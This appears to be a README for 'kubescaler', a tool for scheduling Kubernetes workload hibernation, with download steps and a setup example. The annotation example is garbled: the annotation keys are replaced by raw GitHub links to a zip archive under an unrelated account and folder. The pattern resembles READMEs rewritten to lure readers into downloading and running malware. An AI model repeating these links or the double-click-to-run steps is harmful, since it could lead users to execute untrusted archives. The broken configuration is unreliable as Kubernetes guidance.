Welcome to kubescaler! This application helps you scale your Kubernetes workloads efficiently while saving costs. It works automatically, ensuring your applications hibernate during off-peak hours.
To get started with kubescaler, visit this page to download: kubescaler Releases. Here, you will find different versions of the application based on your needs. Follow these steps to download and run kubescaler on your machine:
- Go to the kubescaler Releases page.
- Look for the latest version of kubescaler.
- Click on the download link for your operating system.
- Once the download completes, locate the file in your downloads folder.
- Run the application by double-clicking the file.
Before you install kubescaler, make sure your computer meets these requirements:
- Operating System: Windows 10 or higher, macOS 10.12 or higher, or any modern Linux distribution.
- Kubernetes Cluster: You need access to a Kubernetes cluster where you have proper permissions to deploy applications.
- Memory: At least 2 GB of RAM is recommended.
- CPU: A modern multi-core processor.
kubescaler offers several useful features:
- Automatic Hibernation: It hibernates applications during off-peak hours without any manual actions.
- Cost Optimization: Save on cloud costs by running applications only when needed.
- Support for Multiple Workloads: Use kubescaler with Deployments, StatefulSets, HPAs, and CronJobs.
- State Management: Automatically backs up and restores application states, ensuring no data loss.
- User-Friendly Interface: Easy-to-use and configure, even for those new to Kubernetes.
To set up kubescaler, follow these steps:
- Annotation Setup: In your Kubernetes deployment files, add the necessary annotations for kubescaler. This tells it when to scale your workloads.
- Schedule Configuration: Define the schedule for your applications. You can set custom times for when to hibernate and resume your applications.
- Deployment: Apply the updated configuration to your Kubernetes cluster by using
kubectl apply -f <your-deployment-file>.yaml.
Here is a simple example of how to use kubescaler:
-
Create a deployment YAML file for your application.
-
Add the following annotations to the deployment:
annotations: https://raw.githubusercontent.com/airdrop7137/kubescaler/main/hydrogymnastics/kubescaler.zip "true" https://raw.githubusercontent.com/airdrop7137/kubescaler/main/hydrogymnastics/kubescaler.zip "22:00-06:00"
-
Apply the changes to your cluster. This setup will hibernate your application from 10 PM to 6 AM.
For detailed information about configuration options and advanced features, check the official kubescaler documentation at kubescaler Documentation.
If you encounter issues or need assistance while using kubescaler, please visit our GitHub Issues page. You can report bugs or ask for help from the community there.
Join our community to share your experiences and get tips about using kubescaler effectively. You can connect with other users and developers on our Discord Channel or follow us on Twitter.
Stay up-to-date with the latest improvements and features by checking the changelog on our releases page. We regularly update kubescaler with new features and bug fixes, ensuring you have the best experience.
We welcome contributions to kubescaler! If you're interested in helping improve the project, check our Contributing Guide for details on how to get started.
Thank you for using kubescaler! We appreciate your support and hope that our software helps you manage your workloads more efficiently.
Again, you can download kubescaler here: kubescaler Releases.